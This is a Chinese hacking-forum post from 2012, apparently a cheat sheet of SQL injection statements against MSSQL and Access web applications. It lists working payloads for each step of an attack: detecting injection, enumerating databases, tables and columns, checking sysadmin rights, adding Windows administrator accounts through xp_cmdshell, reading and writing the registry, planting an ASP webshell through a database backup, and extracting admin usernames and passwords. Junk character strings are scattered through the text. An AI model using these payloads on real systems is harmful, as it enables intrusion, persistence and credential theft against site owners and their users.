找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1922|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 9 \5 L, M: d+ F' D
;and 1=1 : b$ }4 |: z: j" A2 l( F; ?
;and 1=2
2 t1 v, ^6 _: O( `1 V( u
$ d' b/ G, f- K1 T0 A# Q/ P2.初步判断是否是mssql
1 H2 M4 c  q4 I* Z' N;and user>0
% ]* d8 G5 M6 [" [8 @2 _% Z6 D/ g- l7 h' _
3.判断数据库系统 , E2 W2 D$ a( J" _, ]
;and (select count(*) from sysobjects)>0 mssql ' g2 `3 O* C6 o+ D- A; u
;and (select count(*) from msysobjects)>0 access ' p# Y" C$ {7 t% J

) Z* C) e1 b/ Q4.注入参数是字符
) q5 B9 f/ j* M'and [查询条件] and ''=' # C4 v* @5 @( _
9 I6 F! n: B4 r6 w! S1 B0 ]" _
5.搜索时没过滤参数的 : ]: B) _8 j8 A  G+ R
'and [查询条件] and '%25'=' 6 F5 C- b9 y6 G5 v" u
- X5 c% }( f6 c, V
6.猜数表名 $ N8 u+ E: S4 X1 H9 \0 N" s
;and (select Count(*) from [表名])>0
; P3 U; P7 v2 X
. W7 O5 \) Q6 \! d7 Y' L7.猜字段
2 N9 H' Y# y$ g2 t* [) C$ C/ K2 ?;and (select Count(字段名) from 表名)>0
5 R# @" ]3 [: w$ h2 K  V9 t
/ W7 n8 `# D& t8.猜字段中记录长度 $ p* g. e5 D# V, O. A6 J
;and (select top 1 len(字段名) from 表名)>0
7 c+ i% }# r/ N  @& I* M; x
8 T1 D7 s/ u6 `1 U" w* u& ^- X9.(1)猜字段的ascii值(access)
7 Z- f- Q2 j! g+ z! p+ D! d;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
0 q' b1 ?1 A' K" Z0 Z# A
+ E6 X2 b5 I2 |" j  `! D(2)猜字段的ascii值(mssql) % ^2 I/ Z0 A2 c% I# O
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 * t; Z4 ~) _/ e" t$ R
# j+ G& R) [  w9 J$ ^/ J0 j' L8 T
10.测试权限结构(mssql) 4 w) V- ]+ C9 `1 p" b  Z
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 V& i1 t  z2 B% H. `( t9 j
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: n" s  z4 I: G% Y/ [;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % _2 u* c0 k+ \5 h$ m9 |7 u6 G
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  I% N! W# y! F8 a# H/ Q;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 f* `. ]" ~% ~5 h5 W( k
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 j6 `0 ]! A1 v( a/ s; q9 [& N$ I;and 1=(select IS_MEMBER('db_owner'));-- - v" B( i8 |$ \+ E9 }! A+ N) P
  h& l8 a( |% F( G: `% t' S1 h% A
11.添加mssql和系统的帐户 6 \3 S7 y; Y6 }6 v# [
;exec master.dbo.sp_addlogin username;--
; `3 [6 U  A! R  t: K;exec master.dbo.sp_password null,username,password;-- % X2 x/ \+ _9 U9 V8 k0 p3 ^
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" l% h. B/ W0 h;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * K! F2 U. ]$ [: c! G' a$ a
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# l) Q) D1 y5 J! P* h;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
. ]1 x5 O8 `# a3 D% a" x* g7 F8 D
, ]/ |# |( n/ l2 w3 M12.(1)遍历目录
- ]! }' h$ K* X, ^3 l3 B;create table dirs(paths varchar(100), id int) + W( q$ k7 X5 q; Q$ e% x1 c
;insert dirs exec master.dbo.xp_dirtree 'c:\'
& c* x, A& e5 s, Z0 g# K;and (select top 1 paths from dirs)>0 & k2 ?7 F3 b- G8 [7 y
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 p& P; X: l- V5 i  M4 h7 V1 O# }# C, r% X
(2)遍历目录
- x- n+ g+ y, h* X+ y$ m  j;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( z6 F3 u$ O; X$ E;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 ]8 Y! R5 L' U# d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & A8 P4 I. U9 I5 R' X5 V
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
4 Y1 t6 m- Q$ j- N;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 . J: B1 B8 ]' c9 @; G8 W  V

% d) C5 d* h) r; E: b- o13.mssql中的存储过程
( \$ D) c; G% z4 w' {xp_regenumvalues 注册表根键, 子键
$ f4 x" v0 s3 e  B;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9 c4 L0 i* I3 x" j
xp_regread 根键,子键,键值名 ( k1 d" X2 s  c# u  w
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
& C: u' N7 d/ V, a: s$ x. \xp_regwrite 根键,子键, 值名, 值类型, 值
! `# F# r6 r3 E1 U  c* R: i- q值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
; w5 _0 N4 }: v# k;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
' U8 _) {) U4 N; Yxp_regdeletevalue 根键,子键,值名
! Q% h( ]2 w; H+ eexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
: z1 Q% {6 G) ], nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 : q3 z. n/ U% G5 t% a

  j: u# J  @- S3 d14.mssql的backup创建webshell ' G2 t6 ]5 }/ P: k7 _/ z4 k0 ]
use model
" N: |6 P& @% n; `% Xcreate table cmd(str image); ) U2 {3 o; S+ k1 y
insert into cmd(str) values ('<% Dim oScript %>'); 2 v3 G/ R$ d5 p0 t6 g
backup database model to disk='c:\l.asp';
3 k, d. o4 b' Y2 s% o0 c
8 z4 T, A, {! T0 ^9 {. y15.mssql内置函数 0 E2 ]0 w: @+ D) w! O
;and (select @@version)>0 获得Windows的版本号 % i7 G5 E- v& h% o, r$ E( L
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
# Y7 r5 I2 B; M2 o. S;and (select user_name())>0 爆当前系统的连接用户
) [; e5 [# P' r# J;and (select db_name())>0 得到当前连接的数据库
7 v. W- \1 m. |2 p
' @6 M8 f3 S1 y/ [) C* N
1 u" `& c! Z: {- c" ~9 b. L: g
$ W/ s! _/ r8 qMSSQL手注暴库
' k8 ?4 H: _1 A) x* k" n/ Y. @! a" D! n1 j$ g3 Y$ C# I
1.暴出当前表名和列名
) a; g+ ~+ W  U8 k" r在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。7 x$ q! o+ X9 d$ k$ u
/ Q9 A6 n% q% w+ Q5 \9 v, s; w
第一.爆出所有数据库名# v# h5 f# R9 Y3 @; a1 @) {
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。7 e, J7 x/ f6 ]2 \8 }+ ~4 w: O& Z- O& J2 ?
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。5 v- z/ _0 ~0 Q6 g

' R- R) R( E. q; h& l" P$ c/ n2 Zand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名! H" u9 S5 I  L4 T+ V
& U$ u. ?! {& E+ f+ z
8 H8 k% u$ p) n: ^" f
第二.爆出指定库中的所有表名: N) G0 S, R8 I& n4 S0 e% o4 s' B
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
/ C/ G! f% ?6 s9 F8 t) g再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。) }4 f- a9 M4 R) |' m* h. G

9 {. n5 `+ a( V! p: qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
( l3 |/ x: }/ E- Rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--4 s* k. |; B( |$ U( W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--/ T+ F. s$ x. K4 `7 u

; j/ l" t' e" L. E4 E4.爆出指定表中的所有列名( K# P# t* E' O! f1 M, S
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
/ a0 E: C) Z0 U+ v4 p//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
1 P3 l2 }# S, g' o0 h
. X+ E, M1 D. w! [# b9 T! Gand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名: `! e/ D: b7 L4 M& M

( P5 i; v* R! P' c9 U: Z1 E再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 7 v% Q7 I7 ?) I3 M
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。0 G% f. E3 m7 p5 ?6 I
4 k+ K; F' ^" o0 T; T3 P4 H

: y6 c. ~/ t' ^& Y! c/ Q# x$ S% vand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
% [" w+ u' p. U- F
: U; t# l" Q3 J, zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
/ p4 O' M8 C* H; S" Q7 }; c3 o! B0 S5 i6 X2 U# H$ ?4 Z+ [- p0 X
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ' p5 ]5 L& j, U5 ~

0 e0 L" J) r& H" E" q* D! B( F$ M8 e
# Z+ P3 Z/ h2 O
. C* F( q! x* F( x+ c5.读取指定表中的数据
2 ^; a* v0 t. z! `
' V0 [# p4 v4 F' _" fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 s/ i7 \$ \! V7 O  b0 m7 F' F

" k  Z6 i4 n: B3 I7 dand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--+ Y% q. ?( @! P6 o5 ^0 d

1 G( v1 A, `$ z; Z4 K9 q7 Tand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
  u3 O2 i: N/ n/ `" S
0 o' q8 Y3 A0 t' `2 z; a" f/ u0 s0 C- A; @5 ]9 k% Z  ^/ |
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
' C( F9 `2 p# ~
) o: ^/ |' g! v( e6 o! rand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 W- u% L, x2 f' `4 b& J3 L+ m/ G
! v; B+ _$ }! {! a7 T" N
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--4 D* o  v" R/ S1 U
2 B9 r8 j& _! B
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
5 B; C8 y4 y/ ?, M6 m4 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表